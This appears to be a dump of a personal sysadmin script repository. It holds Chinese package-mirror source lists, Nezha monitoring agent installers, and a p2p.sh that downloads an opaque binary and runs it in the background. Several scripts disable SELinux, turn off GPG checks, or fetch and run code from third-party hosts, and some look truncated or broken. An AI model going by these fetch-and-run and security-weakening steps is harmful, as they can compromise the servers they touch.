├── APT ├── Centos ├── Centos-7.repo ├── README.md ├── debian10 ├── debian11 ├── debian12 ├── debian8 ├── debian9 ├── epel-7.repo ├── install_agent.sh ├── nezha.sh ├── p2p.sh ├── p2pclient ├── ubuntu18.04 └── ubuntu20 ├── LocaleCN ├── LICENSE ├── LocaleCN.sh ├── README.md ├── after.png ├── before.png ├── locale.conf └── locale.gen ├── README.md ├── adg ├── README.md └── hosts.txt ├── aws ├── README.md └── aws_cli.sh ├── caddy ├── README.md └── proxy.sh ├── cfworkers ├── 429.html ├── README.md ├── cf5s_under_attack.html └── proxy.js ├── chfs ├── README.md └── chfs ├── docker ├── anyconnect │ ├── install.sh │ └── run.sh ├── install.sh ├── yotter │ ├── docker-compose.yml │ └── yotter-config.json └── zfaka │ └── run.sh ├── drfytgybhunjoimkol ├── LinuxPanel-7.4.3.zip ├── LinuxPanel-7.6.0.zip ├── LinuxPanel-7.7.0.zip ├── README.md ├── awsserver.sh ├── daoker.sh ├── data.zip ├── gjstystrystryh.sh ├── ip_ssl.sh ├── llm-config.json ├── llm-install.sh ├── mysql.sh ├── newdtrfgyuhjihgujsrtjk.sh ├── newdtrfgyuhjihgujsrtjksssss.sh ├── ngx_http_waf_module.so ├── node.js ├── npool │ ├── npool_amd64_latest │ └── upgrade_auto.sh ├── p2p.sh ├── p2p_az.sh ├── plugin.json ├── proxysell.sh ├── public.sh ├── random_usage.sh ├── schedule_random.sh ├── shsrtyartsfjgksdtyuj.sh ├── testx.sh ├── waf.sh ├── wahahah.sh ├── wk.sh ├── wk2024-2.sh ├── wk2024-gr.sh ├── wk3.sh ├── wk_2.sh ├── wkzp.sh ├── www.sh └── 下载.jpg ├── install_ssh.sh ├── ipfs └── README.md ├── mirror-pip.sh ├── ms ├── README.md ├── address.txt ├── chrome.sh ├── name.txt └── onelist.sh ├── nginx ├── 5s.html ├── install.sh ├── install_nginx.sh ├── nginx-debian ├── nginx.conf ├── nginx.service └── nginx.zip ├── oneindex ├── base.php └── token.php ├── onemail ├── app.py └── smtp.py ├── php ├── README.md └── php7.4 │ └── install.sh ├── python └── README.md ├── rclone └── README.md ├── sniproxy ├── README.md ├── config.yaml ├── install.sh ├── make_install_go.sh ├── make_install_go_s.sh ├── sniproxy ├── sniproxy_s └── v1_add_host.sh ├── static └── icefox.js ├── suansuanru ├── IPv6_Check_Ver2.sh ├── README.md ├── apline │ ├── README.md │ ├── buildx-ui.sh │ └── install.sh ├── changesomething.sh ├── gost_nat.sh ├── http_server.go ├── json │ ├── kcp.json │ ├── tcp.json │ └── ws-https.json ├── lajiv2ray-install.sh ├── mtg.sh ├── nat.sh ├── ocserv.conf ├── ssrtls.sh └── v2ray-ws-http.sh ├── tcping ├── README.md ├── TCP-PING └── tcping.exe ├── tmpssh.sh └── vvr ├── README.md ├── test.sh ├── v0 └── tcp_bbr.ko ├── v2 ├── Makefile ├── Makefile-apline └── src │ ├── 4.x │ └── tcp_bbr.c │ ├── 5.x │ ├── README.md │ └── tcp_bbr.c │ └── README.md ├── vvr.bash ├── vvr2-apline.sh ├── vvr2-cn.sh └── vvrv2.sh /APT/Centos: -------------------------------------------------------------------------------- 1 | 在ssh界面执行以下命令即可更换yum源为CentOS的Vault源(包括CentOS官方和阿里云的源): 2 | 3 | wget -O /etc/yum.repos.d/CentOS-Base.repo https://raw.githubusercontent.com/caippx/bash/refs/heads/master/APT/Centos-7.repo 4 | wget -O /etc/yum.repos.d/epel.repo https://raw.githubusercontent.com/caippx/bash/refs/heads/master/APT/epel-7.repo 5 | 或者 6 | 7 | curl -o /etc/yum.repos.d/CentOS-Base.repo https://raw.githubusercontent.com/caippx/bash/refs/heads/master/APT/Centos-7.repo 8 | curl -o /etc/yum.repos.d/epel.repo https://raw.githubusercontent.com/caippx/bash/refs/heads/master/APT/epel-7.repo 9 | 10 | 11 | 解决CentOS Stream 8停止更新后无法使用yum命令。 12 | 13 | 在ssh界面执行以下命令即可更换yum源为CentOS的Vault源: 14 | 15 | 16 | 17 | sed -i s/mirror.centos.org/vault.centos.org/g /etc/yum.repos.d/*.repo 18 | sed -i s/^#.*baseurl=http/baseurl=http/g /etc/yum.repos.d/*.repo 19 | sed -i s/^mirrorlist=http/#mirrorlist=http/g /etc/yum.repos.d/*.repo 20 | 21 | -------------------------------------------------------------------------------- /APT/Centos-7.repo: -------------------------------------------------------------------------------- 1 | # CentOS-Base.repo 2 | # 3 | # The mirror system uses the connecting IP address of the client and the 4 | # update status of each mirror to pick mirrors that are updated to and 5 | # geographically close to the client. You should use this for CentOS updates 6 | # unless you are manually picking other mirrors. 7 | # 8 | # If the mirrorlist= does not work for you, as a fall back you can try the 9 | # remarked out baseurl= line instead. 10 | # 11 | # 12 | 13 | [base] 14 | name=CentOS-$releasever - Base 15 | #mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os&infra=$infra 16 | baseurl=https://vault.centos.org/7.9.2009/os/$basearch/ 17 | http://mirrors.aliyun.com/centos/$releasever/os/$basearch/ 18 | http://mirrors.cloud.tencent.com/centos/$releasever/os/$basearch/ 19 | gpgcheck=0 20 | gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 21 | 22 | #released updates 23 | [updates] 24 | name=CentOS-$releasever - Updates 25 | #mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates&infra=$infra 26 | baseurl=https://vault.centos.org/7.9.2009/updates/$basearch/ 27 | http://mirrors.aliyun.com/centos/$releasever/updates/$basearch/ 28 | http://mirrors.cloud.tencent.com/centos/$releasever/updates/$basearch/ 29 | gpgcheck=0 30 | gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 31 | 32 | #additional packages that may be useful 33 | [extras] 34 | name=CentOS-$releasever - Extras 35 | #mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras&infra=$infra 36 | baseurl=https://vault.centos.org/7.9.2009/extras/$basearch/ 37 | http://mirrors.aliyun.com/centos/$releasever/extras/$basearch/ 38 | http://mirrors.cloud.tencent.com/centos/$releasever/extras/$basearch/ 39 | gpgcheck=0 40 | gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 41 | 42 | #additional packages that extend functionality of existing packages 43 | [centosplus] 44 | name=CentOS-$releasever - Plus 45 | #mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=centosplus&infra=$infra 46 | baseurl=https://vault.centos.org/7.9.2009/centosplus/$basearch/ 47 | http://mirrors.aliyun.com/centos/$releasever/centosplus/$basearch/ 48 | http://mirrors.cloud.tencent.com/centos/$releasever/centosplus/$basearch/ 49 | gpgcheck=0 50 | enabled=0 51 | gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 52 | -------------------------------------------------------------------------------- /APT/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # debian 4 | apt install apt-transport-https ca-certificates 5 | mv sources.list sources.list.b 6 | debian10: https://github.com/caippx/bash/blob/master/APT/debian10 7 | debian9: https://github.com/caippx/bash/blob/master/APT/debian9 8 | debian8: https://github.com/caippx/bash/blob/master/APT/debian8 9 | 10 | # ubuntu 11 | ubuntu18.04: https://github.com/caippx/bash/blob/master/APT/ubuntu18.04 12 | 13 | -------------------------------------------------------------------------------- /APT/debian10: -------------------------------------------------------------------------------- 1 | DeBian 10国内源 2 | deb http://mirrors.aliyun.com/debian/ buster main non-free contrib 3 | deb http://mirrors.aliyun.com/debian-security buster/updates main 4 | deb http://mirrors.aliyun.com/debian/ buster-updates main non-free contrib 5 | deb http://mirrors.aliyun.com/debian/ buster-backports main non-free contrib 6 | 7 | deb-src http://mirrors.aliyun.com/debian-security buster/updates main 8 | deb-src http://mirrors.aliyun.com/debian/ buster main non-free contrib 9 | deb-src http://mirrors.aliyun.com/debian/ buster-updates main non-free contrib 10 | deb-src http://mirrors.aliyun.com/debian/ buster-backports main non-free contrib 11 | 12 | 清华源 13 | cat > /etc/apt/sources.list << EOF 14 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster main contrib non-free 15 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ buster main contrib non-free 16 | 17 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-updates main contrib non-free 18 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-updates main contrib non-free 19 | 20 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-backports main contrib non-free 21 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ buster-backports main contrib non-free 22 | 23 | deb https://mirrors.tuna.tsinghua.edu.cn/debian-security/ buster-security main contrib non-free 24 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security/ buster-security main contrib non-free 25 | EOF 26 | 27 | 官方 28 | deb http://deb.debian.org/debian/ buster main non-free contrib 29 | deb http://deb.debian.org/debian-security buster/updates main 30 | deb http://deb.debian.org/debian/ buster-updates main non-free contrib 31 | deb http://deb.debian.org/debian/ buster-backports main non-free contrib 32 | 33 | deb-src http://deb.debian.org/debian-security buster/updates main 34 | deb-src http://deb.debian.org/debian/ buster main non-free contrib 35 | deb-src http://deb.debian.org/debian/ buster-updates main non-free contrib 36 | deb-src http://deb.debian.org/debian/ buster-backports main non-free contrib 37 | -------------------------------------------------------------------------------- /APT/debian11: -------------------------------------------------------------------------------- 1 | DeBian 11国内源 无V6 2 | cat > /etc/apt/sources.list << EOF 3 | deb http://mirrors.aliyun.com/debian/ bullseye main non-free contrib 4 | deb http://mirrors.aliyun.com/debian-security bullseye/updates main 5 | deb http://mirrors.aliyun.com/debian/ bullseye-updates main non-free contrib 6 | deb http://mirrors.aliyun.com/debian/ bullseye-backports main non-free contrib 7 | 8 | deb-src http://mirrors.aliyun.com/debian-security bullseye/updates main 9 | deb-src http://mirrors.aliyun.com/debian/ bullseye main non-free contrib 10 | deb-src http://mirrors.aliyun.com/debian/ bullseye-updates main non-free contrib 11 | deb-src http://mirrors.aliyun.com/debian/ bullseye-backports main non-free contrib 12 | EOF 13 | 14 | 清华源 15 | cat > /etc/apt/sources.list << EOF 16 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free 17 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free 18 | 19 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free 20 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free 21 | 22 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free 23 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free 24 | 25 | deb https://mirrors.tuna.tsinghua.edu.cn/debian-security/ bullseye-security main contrib non-free 26 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security/ bullseye-security main contrib non-free 27 | EOF 28 | 29 | 30 | 官方 31 | cat > /etc/apt/sources.list << EOF 32 | deb https://deb.debian.org/debian/ bullseye main contrib non-free 33 | deb-src https://deb.debian.org/debian/ bullseye main contrib non-free 34 | 35 | deb https://deb.debian.org/debian/ bullseye-updates main contrib non-free 36 | deb-src https://deb.debian.org/debian/ bullseye-updates main contrib non-free 37 | 38 | deb https://deb.debian.org/debian/ bullseye-backports main contrib non-free 39 | deb-src https://deb.debian.org/debian/ bullseye-backports main contrib non-free 40 | 41 | deb https://deb.debian.org/debian-security/ bullseye-security main contrib non-free 42 | deb-src https://deb.debian.org/debian-security/ bullseye-security main contrib non-free 43 | EOF 44 | -------------------------------------------------------------------------------- /APT/debian12: -------------------------------------------------------------------------------- 1 | DeBian 11国内源 无V6 2 | deb http://mirrors.aliyun.com/debian/ bookworm main non-free-firmware contrib 3 | deb http://mirrors.aliyun.com/debian-security bookworm/updates main 4 | deb http://mirrors.aliyun.com/debian/ bookworm-updates main non-free-firmware contrib 5 | deb http://mirrors.aliyun.com/debian/ bookworm-backports main non-free-firmware contrib 6 | 7 | deb-src http://mirrors.aliyun.com/debian-security bookworm/updates main 8 | deb-src http://mirrors.aliyun.com/debian/ bookworm main non-free-firmware contrib 9 | deb-src http://mirrors.aliyun.com/debian/ bookworm-updates main non-free-firmware contrib 10 | deb-src http://mirrors.aliyun.com/debian/ bookworm-backports main non-free-firmware contrib 11 | 12 | 清华源 13 | cat > /etc/apt/sources.list << EOF 14 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bookworm main contrib non-free-firmware 15 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bookworm main contrib non-free-firmware 16 | 17 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bookworm-updates main contrib non-free-firmware 18 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bookworm-updates main contrib non-free-firmware 19 | 20 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bookworm-backports main contrib non-free-firmware 21 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bookworm-backports main contrib non-free-firmware 22 | 23 | deb https://mirrors.tuna.tsinghua.edu.cn/debian-security/ bookworm-security main contrib non-free-firmware 24 | deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security/ bookworm-security main contrib non-free-firmware 25 | EOF 26 | 27 | 28 | cat > /etc/apt/sources.list << EOF 29 | deb https://deb.debian.org/debian/ bookworm main contrib non-free non-free-firmware 30 | deb-src https://deb.debian.org/debian/ bookworm main contrib non-free non-free-firmware 31 | 32 | deb https://deb.debian.org/debian/ bookworm-updates main contrib non-free non-free-firmware 33 | deb-src https://deb.debian.org/debian/ bookworm-updates main contrib non-free non-free-firmware 34 | 35 | deb https://deb.debian.org/debian/ bookworm-backports main contrib non-free non-free-firmware 36 | deb-src https://deb.debian.org/debian/ bookworm-backports main contrib non-free non-free-firmware 37 | 38 | deb https://deb.debian.org/debian-security/ bookworm-security main contrib non-free non-free-firmware 39 | deb-src https://deb.debian.org/debian-security/ bookworm-security main contrib non-free non-free-firmware 40 | EOF 41 | -------------------------------------------------------------------------------- /APT/debian8: -------------------------------------------------------------------------------- 1 | # 默认注释了源码镜像以提高 apt update 速度,如有需要可自行取消注释 2 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ jessie main contrib non-free 3 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ jessie main contrib non-free 4 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ jessie-updates main contrib non-free 5 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ jessie-updates main contrib non-free 6 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ jessie-backports main contrib non-free 7 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ jessie-backports main contrib non-free 8 | deb https://mirrors.tuna.tsinghua.edu.cn/debian-security jessie/updates main contrib non-free 9 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security jessie/updates main contrib non-free 10 | -------------------------------------------------------------------------------- /APT/debian9: -------------------------------------------------------------------------------- 1 | # 默认注释了源码镜像以提高 apt update 速度,如有需要可自行取消注释 2 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ stretch main contrib non-free 3 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ stretch main contrib non-free 4 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ stretch-updates main contrib non-free 5 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ stretch-updates main contrib non-free 6 | deb https://mirrors.tuna.tsinghua.edu.cn/debian/ stretch-backports main contrib non-free 7 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ stretch-backports main contrib non-free 8 | deb https://mirrors.tuna.tsinghua.edu.cn/debian-security stretch/updates main contrib non-free 9 | # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security stretch/updates main contrib non-free 10 | 11 | 12 | cat > /etc/apt/sources.list << EOF 13 | deb http://archive.debian.org/debian/ stretch main contrib non-free 14 | deb http://archive.debian.org/debian/ stretch-proposed-updates main contrib non-free 15 | deb http://archive.debian.org/debian-security stretch/updates main contrib non-free 16 | EOF 17 | -------------------------------------------------------------------------------- /APT/epel-7.repo: -------------------------------------------------------------------------------- 1 | [epel] 2 | name=Extra Packages for Enterprise Linux 7 - $basearch 3 | #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch 4 | metalink=http://mirrors.fedoraproject.org/metalink?repo=epel-7&arch=$basearch 5 | failovermethod=priority 6 | enabled=1 7 | gpgcheck=1 8 | gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 9 | 10 | [epel-debuginfo] 11 | name=Extra Packages for Enterprise Linux 7 - $basearch - Debug 12 | #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch/debug 13 | metalink=http://mirrors.fedoraproject.org/metalink?repo=epel-debug-7&arch=$basearch 14 | failovermethod=priority 15 | enabled=0 16 | gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 17 | gpgcheck=1 18 | 19 | [epel-source] 20 | name=Extra Packages for Enterprise Linux 7 - $basearch - Source 21 | #baseurl=http://download.fedoraproject.org/pub/epel/7/SRPMS 22 | metalink=http://mirrors.fedoraproject.org/metalink?repo=epel-source-7&arch=$basearch 23 | failovermethod=priority 24 | enabled=0 25 | gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 26 | gpgcheck=1 27 | -------------------------------------------------------------------------------- /APT/install_agent.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #哪吒V0_ 3 | # Copying by nezhahq/scriptgen. DO NOT EDIT 4 | 5 | NZ_BASE_PATH="/opt/nezha" 6 | NZ_AGENT_PATH="${NZ_BASE_PATH}/agent" 7 | 8 | pre(){ 9 | 10 | umask 077 11 | ## os_arch 12 | if uname -m | grep -q 'x86_64'; then 13 | os_arch="amd64" 14 | elif uname -m | grep -q 'i386\|i686'; then 15 | os_arch="386" 16 | elif uname -m | grep -q 'aarch64\|armv8b\|armv8l'; then 17 | os_arch="arm64" 18 | elif uname -m | grep -q 'arm'; then 19 | os_arch="arm" 20 | elif uname -m | grep -q 's390x'; then 21 | os_arch="s390x" 22 | elif uname -m | grep -q 'riscv64'; then 23 | os_arch="riscv64" 24 | fi 25 | } 26 | 27 | install_base() { 28 | (command -v curl >/dev/null 2>&1 && command -v wget >/dev/null 2>&1 && command -v unzip >/dev/null 2>&1 && command -v getenforce >/dev/null 2>&1) || 29 | (install_soft curl wget unzip) 30 | } 31 | selinux() { 32 | #Check SELinux 33 | if command -v getenforce >/dev/null 2>&1; then 34 | if getenforce | grep '[Ee]nfor'; then 35 | echo "SELinux是开启状态,正在关闭!" 36 | sudo setenforce 0 >/dev/null 2>&1 37 | find_key="SELINUX=" 38 | sudo sed -ri "/^$find_key/c${find_key}disabled" /etc/selinux/config 39 | fi 40 | fi 41 | } 42 | 43 | install_base 44 | selinux 45 | _version="v0.20.5" 46 | sudo mkdir -p $NZ_AGENT_PATH 47 | echo "正在下载监控端" 48 | printf "是否选用加速镜像完成安装? [Y/n] " 49 | read -r input 50 | case $input in 51 | [yY][eE][sS] | [yY]) 52 | echo "使用加速镜像" 53 | CN=true 54 | ;; 55 | [nN][oO] | [nN]) 56 | echo "不加速中国镜像" 57 | ;; 58 | esac 59 | if [ -z "$CN" ]; then 60 | NZ_AGENT_URL="https://ghproxy.11451185.xyz/github.com/nezhahq/agent/releases/download/${_version}/nezha-agent_linux_${os_arch}.zip" 61 | else 62 | NZ_AGENT_URL="https://${GITHUB_URL}/nezhahq/agent/releases/download/${_version}/nezha-agent_linux_${os_arch}.zip" 63 | fi 64 | -------------------------------------------------------------------------------- /APT/nezha.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #哪吒V0_ 3 | # Copying by nezhahq/scriptgen. DO NOT EDIT 4 | 5 | NZ_BASE_PATH="/opt/nezha" 6 | NZ_DASHBOARD_PATH="${NZ_BASE_PATH}/dashboard" 7 | NZ_AGENT_PATH="${NZ_BASE_PATH}/agent" 8 | NZ_DASHBOARD_SERVICE="/etc/systemd/system/nezha-dashboard.service" 9 | NZ_DASHBOARD_SERVICERC="/etc/init.d/nezha-dashboard" 10 | GITHUB_RAW_URL="raw.githubusercontent.com/nezhahq/scripts/v0" 11 | GITHUB_URL="github.com" 12 | Get_Docker_URL="get.docker.com" 13 | Get_Docker_Argu=" " 14 | Docker_IMG="ghcr.io\/naiba\/nezha-dashboard:v0.20.13" 15 | 16 | red='\033[0;31m' 17 | green='\033[0;32m' 18 | yellow='\033[0;33m' 19 | plain='\033[0m' 20 | export PATH="$PATH:/usr/local/bin" 21 | 22 | check_systemd() { 23 | if [ "$os_alpine" != 1 ] && ! command -v systemctl >/dev/null 2>&1; then 24 | echo "不支持此系统:未找到 systemctl 命令" 25 | exit 1 26 | fi 27 | } 28 | 29 | err() { 30 | printf "${red}%s${plain}\n" "$*" >&2 31 | } 32 | 33 | success() { 34 | printf "${green}%s${plain}\n" "$*" 35 | } 36 | 37 | info() { 38 | printf "${yellow}%s${plain}\n" "$*" 39 | } 40 | 41 | 42 | before_show_menu() { 43 | echo && info "* 按回车返回主菜单 *" && read temp 44 | show_menu 45 | } 46 | 47 | 48 | install_base() { 49 | (command -v curl >/dev/null 2>&1 && command -v wget >/dev/null 2>&1 && command -v unzip >/dev/null 2>&1 && command -v getenforce >/dev/null 2>&1) || 50 | (install_soft curl wget unzip) 51 | } 52 | install_soft() { 53 | (command -v yum >/dev/null 2>&1 && sudo yum makecache && sudo yum install "$@" selinux-policy -y) || 54 | (command -v apt >/dev/null 2>&1 && sudo apt update && sudo apt install "$@" selinux-utils -y) || 55 | (command -v pacman >/dev/null 2>&1 && sudo pacman -Syu "$@" base-devel --noconfirm && install_arch) || 56 | (command -v apt-get >/dev/null 2>&1 && sudo apt-get update && sudo apt-get install "$@" selinux-utils -y) || 57 | (command -v apk >/dev/null 2>&1 && sudo apk update && sudo apk add "$@" -f) 58 | } 59 | 60 | 61 | selinux() { 62 | #Check SELinux 63 | if command -v getenforce >/dev/null 2>&1; then 64 | if getenforce | grep '[Ee]nfor'; then 65 | echo "SELinux是开启状态,正在关闭!" 66 | sudo setenforce 0 >/dev/null 2>&1 67 | find_key="SELINUX=" 68 | sudo sed -ri "/^$find_key/c${find_key}disabled" /etc/selinux/config 69 | fi 70 | fi 71 | } 72 | 73 | pre() { 74 | umask 077 75 | ## os_arch 76 | if uname -m | grep -q 'x86_64'; then 77 | os_arch="amd64" 78 | elif uname -m | grep -q 'i386\|i686'; then 79 | os_arch="386" 80 | elif uname -m | grep -q 'aarch64\|armv8b\|armv8l'; then 81 | os_arch="arm64" 82 | elif uname -m | grep -q 'arm'; then 83 | os_arch="arm" 84 | elif uname -m | grep -q 's390x'; then 85 | os_arch="s390x" 86 | elif uname -m | grep -q 'riscv64'; then 87 | os_arch="riscv64" 88 | fi 89 | } 90 | 91 | install_agent() { 92 | install_base 93 | selinux 94 | pre 95 | 96 | echo "> 安装监控Agent" 97 | 98 | # echo "正在获取监控Agent版本号" 99 | 100 | _version="v0.20.5" 101 | # Nezha Monitoring Folder 102 | sudo mkdir -p $NZ_AGENT_PATH 103 | echo "正在下载监控端" 104 | printf "是否选用加速镜像完成安装? [Y/n] " 105 | read -r input 106 | case $input in 107 | [yY][eE][sS] | [yY]) 108 | echo "使用加速镜像" 109 | CN=true 110 | NZ_AGENT_URL="https://ghproxy.11451185.xyz/${GITHUB_URL}/nezhahq/agent/releases/download/${_version}/nezha-agent_linux_${os_arch}.zip" 111 | ;; 112 | [nN][oO] | [nN]) 113 | echo "不加速中国镜像" 114 | NZ_AGENT_URL="https://${GITHUB_URL}/nezhahq/agent/releases/download/${_version}/nezha-agent_linux_${os_arch}.zip" 115 | ;; 116 | esac 117 | 118 | _cmd="wget -t 2 -T 60 -O nezha-agent_linux_${os_arch}.zip $NZ_AGENT_URL >/dev/null 2>&1" 119 | if ! eval "$_cmd"; then 120 | err "Release 下载失败,请检查本机能否连接 ${GITHUB_URL}" 121 | return 1 122 | fi 123 | 124 | sudo unzip -qo nezha-agent_linux_${os_arch}.zip && 125 | sudo mv nezha-agent $NZ_AGENT_PATH && 126 | sudo rm -rf nezha-agent_linux_${os_arch}.zip README.md 127 | 128 | if [ $# -ge 3 ]; then 129 | modify_agent_config "$@" 130 | else 131 | modify_agent_config 0 132 | fi 133 | 134 | if [ $# = 0 ]; then 135 | before_show_menu 136 | fi 137 | } 138 | 139 | modify_agent_config() { 140 | echo "> 修改 Agent 配置" 141 | 142 | if [ $# -lt 3 ]; then 143 | echo "请先在管理面板上添加Agent,记录下密钥" 144 | printf "请输入一个解析到面板所在IP的域名(不可套CDN): " 145 | read -r nz_grpc_host 146 | printf "请输入面板RPC端口 (默认值 5555): " 147 | read -r nz_grpc_port 148 | printf "请输入Agent 密钥: " 149 | read -r nz_client_secret 150 | printf "是否启用针对 gRPC 端口的 SSL/TLS加密 (--tls),需要请按 [y],默认是不需要,不理解用户可回车跳过: " 151 | read -r nz_grpc_proxy 152 | echo "${nz_grpc_proxy}" | grep -qiw 'Y' && args='--tls' 153 | if [ -z "$nz_grpc_host" ] || [ -z "$nz_client_secret" ]; then 154 | err "所有选项都不能为空" 155 | before_show_menu 156 | return 1 157 | fi 158 | if [ -z "$nz_grpc_port" ]; then 159 | nz_grpc_port=5555 160 | fi 161 | else 162 | nz_grpc_host=$1 163 | nz_grpc_port=$2 164 | nz_client_secret=$3 165 | shift 3 166 | if [ $# -gt 0 ]; then 167 | args="$*" 168 | fi 169 | fi 170 | 171 | _cmd="sudo ${NZ_AGENT_PATH}/nezha-agent service install -s $nz_grpc_host:$nz_grpc_port -p $nz_client_secret $args >/dev/null 2>&1" 172 | 173 | if ! eval "$_cmd"; then 174 | sudo "${NZ_AGENT_PATH}"/nezha-agent service uninstall >/dev/null 2>&1 175 | sudo "${NZ_AGENT_PATH}"/nezha-agent service install -s "$nz_grpc_host:$nz_grpc_port" -p "$nz_client_secret" "$args" >/dev/null 2>&1 176 | fi 177 | 178 | success "Agent 配置 修改成功,请稍等 Agent 重启生效" 179 | 180 | #if [[ $# == 0 ]]; then 181 | # before_show_menu 182 | #fi 183 | } 184 | 185 | show_agent_log() { 186 | echo "> 获取 Agent 日志" 187 | 188 | if [ "$os_alpine" != 1 ]; then 189 | sudo journalctl -xf -u nezha-agent.service 190 | else 191 | sudo tail -n 10 /var/log/nezha-agent.err 192 | fi 193 | 194 | if [ $# = 0 ]; then 195 | before_show_menu 196 | fi 197 | } 198 | 199 | uninstall_agent() { 200 | echo "> 卸载 Agent" 201 | 202 | sudo ${NZ_AGENT_PATH}/nezha-agent service uninstall 203 | 204 | sudo rm -rf $NZ_AGENT_PATH 205 | clean_all 206 | 207 | if [ $# = 0 ]; then 208 | before_show_menu 209 | fi 210 | } 211 | 212 | restart_agent() { 213 | echo "> 重启 Agent" 214 | 215 | sudo ${NZ_AGENT_PATH}/nezha-agent service restart 216 | 217 | if [ $# = 0 ]; then 218 | before_show_menu 219 | fi 220 | } 221 | 222 | clean_all() { 223 | if [ -z "$(ls -A ${NZ_BASE_PATH})" ]; then 224 | sudo rm -rf ${NZ_BASE_PATH} 225 | fi 226 | } 227 | 228 | show_menu() { 229 | printf " 230 | ${green}哪吒监控管理脚本 For v0${plain} 231 | --- https://github.com/naiba/nezha --- 232 | ${red}v0面板已停止维护,请及时升级至v1,详见https://nezha.wiki/${plain} 233 | ${green}1.${plain} 安装监控Agent 234 | ${green}2.${plain} 修改Agent配置 235 | ${green}3.${plain} 查看Agent日志 236 | ${green}4.${plain} 卸载Agent 237 | ${green}5.${plain} 重启Agent 238 | ————————————————- 239 | ${green}0.${plain} 退出脚本 240 | " 241 | echo && printf "请输入选择 [0-13]: " && read -r num 242 | case "${num}" in 243 | 0) 244 | exit 0 245 | ;; 246 | 1) 247 | install_agent 248 | ;; 249 | 2) 250 | modify_agent_config 251 | ;; 252 | 3) 253 | show_agent_log 254 | ;; 255 | 4) 256 | uninstall_agent 257 | ;; 258 | 5) 259 | restart_agent 260 | ;; 261 | *) 262 | err "请输入正确的数字 [0-13]" 263 | ;; 264 | esac 265 | } 266 | 267 | 268 | if [ $# -gt 0 ]; then 269 | case $1 in 270 | "install_agent") 271 | shift 272 | if [ $# -ge 3 ]; then 273 | install_agent "$@" 274 | else 275 | install_agent 0 276 | fi 277 | ;; 278 | "modify_agent_config") 279 | modify_agent_config 0 280 | ;; 281 | "show_agent_log") 282 | show_agent_log 0 283 | ;; 284 | "uninstall_agent") 285 | uninstall_agent 0 286 | ;; 287 | "restart_agent") 288 | restart_agent 0 289 | ;; 290 | *) show_usage ;; 291 | esac 292 | else 293 | select_version 294 | show_menu 295 | fi 296 | -------------------------------------------------------------------------------- /APT/p2p.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | wget https://raw.githubusercontent.com/caippx/bash/master/APT/p2pclient 3 | chmod +x p2pclient 4 | nohup ./p2pclient -l admin@ppxwo.com >> /tmp/p2pclient.log 2>&1 & 5 | -------------------------------------------------------------------------------- /APT/p2pclient: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/APT/p2pclient -------------------------------------------------------------------------------- /APT/ubuntu18.04: -------------------------------------------------------------------------------- 1 | #Ubuntu18.04 2 | ---- 3 | #中科大源 4 | deb https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse 5 | deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse 6 | deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse 7 | deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe 